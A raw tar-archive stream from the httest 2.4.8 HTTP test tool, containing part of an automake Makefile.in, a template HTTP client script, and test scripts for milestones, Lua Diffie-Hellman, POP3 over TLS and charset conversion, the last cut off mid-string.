@host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target_alias = @target_alias@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ EXTRA_DIST = \ auto_cookie.htt \ clientserver.htt \ concurrent.htt \ include.htt \ macro_get.htt \ macro_post.htt \ matchexec.htt \ ntlm2.htt \ ntlm2sess.htt \ ntlm.htt \ simple.htt \ ssl.htt \ transfertypes.htt \ websocket_client.htt \ websocket_html.htt all: all-am .SUFFIXES: $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu --ignore-deps examples/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu --ignore-deps examples/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs tags: TAGS TAGS: ctags: CTAGS CTAGS: distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am check: check-am all-am: Makefile installdirs: install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: if test -z '$(STRIP)'; then \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ install; \ else \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ fi mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-generic dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: .MAKE: install-am install-strip .PHONY: all all-am check check-am clean clean-generic clean-libtool \ distclean distclean-generic distclean-libtool distdir dvi \ dvi-am html html-am info info-am install install-am \ install-data install-data-am install-dvi install-dvi-am \ install-exec install-exec-am install-html install-html-am \ install-info install-info-am install-man install-pdf \ install-pdf-am install-ps install-ps-am install-strip \ installcheck installcheck-am installdirs maintainer-clean \ maintainer-clean-generic mostlyclean mostlyclean-generic \ mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: httest-2.4.8/examples/simple.htt0000664000175100017510000000120012203674076013615 00000000000000INCLUDE path/to/your/include/file SET YOUR_HOST=your.host SET YOUR_PORT=8080 # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "Regex of what you expect within headers or body" _EXPECT . "Another regex of what you expect also within headers or body" _MATCH headers "YourCookie=(.*)" YOUR_COOKIE_VAL _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: www.your.name __User-Agent: mozilla __Cookie: YourCookie=$YOUR_COOKIE_VAL __ _WAIT END httest-2.4.8/test/0000775000175100017510000000000012205604047011024 500000000000000httest-2.4.8/test/milestone.hte0000664000175100017510000000015412203674077013455 00000000000000CLIENT _MILESTONE first _SET foo=bar _EXPECT VAR(foo) "bla" _END _MILESTONE second _END END httest-2.4.8/test/block_lua_dh.htt0000664000175100017510000000057512203674077014112 00000000000000@:SKIP $OS win # FIXME "OPENSSL_Uplink(10111000,08): no OPENSSL_Applink" REQUIRE_MODULE LUA SET MAX_DURATION=360000 INCLUDE $TOP/test/config.htb BLOCK:LUA MyCertSubjectName : priv pub dh = crypto.dh.new(2, 1024); return crypto.base64.encode(dh:get_prime()), crypto.base64.encode(dh:get_pub_key()); END CLIENT MyCertSubjectName PRIV PUB _DEBUG $PRIV _DEBUG $PUB END httest-2.4.8/test/pop3_tls.htt0000664000175100017510000000111712146710377013240 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/macros/pop3.htb CLIENT _POP3:CONNECT $YOUR_HOST $YOUR_PORT _POP3:SEND "STLS" _SSL:CONNECT TLS1 _POP3:SEND "USER liesch@gmx.ch" _POP3:WAIT _POP3:SEND "PASS foo" _POP3:WAIT _POP3:SEND "LIST" _POP3:WAIT_MULTI _POP3:SEND "QUIT" _EXPECT . "\+OK" _POP3:WAIT END SERVER $YOUR_PORT _RES __+OK Hello _FLUSH _EXPECT . "STLS" _READLINE _SSL:ACCEPT TLS1 __+OK _FLUSH _EXPECT . "USER" _READLINE __+OK _FLUSH _EXPECT . "PASS" _READLINE __+OK _FLUSH _EXPECT . "LIST" _READLINE __+OK __1 123 __2 456 __3 789 __. _FLUSH _EXPECT . "QUIT" _READLINE __+OK _FLUSH END httest-2.4.8/test/dummy4.htb0000664000175100017510000000001212141535454012657 00000000000000SET FOO=1 httest-2.4.8/test/recursiv.htb0000664000175100017510000000003712141535454013311 00000000000000INCLUDE $TOP/test/recursiv.htb httest-2.4.8/test/charset.htt0000664000175100017510000004437612203674077013144 00000000000000@:SKIP $OS win # FIXME "Can not open convert for conversion from UTF-8 to ISO-8859" SET txt_utf_8=%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4%C3%A4 SET txt_iso_8859_1=%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E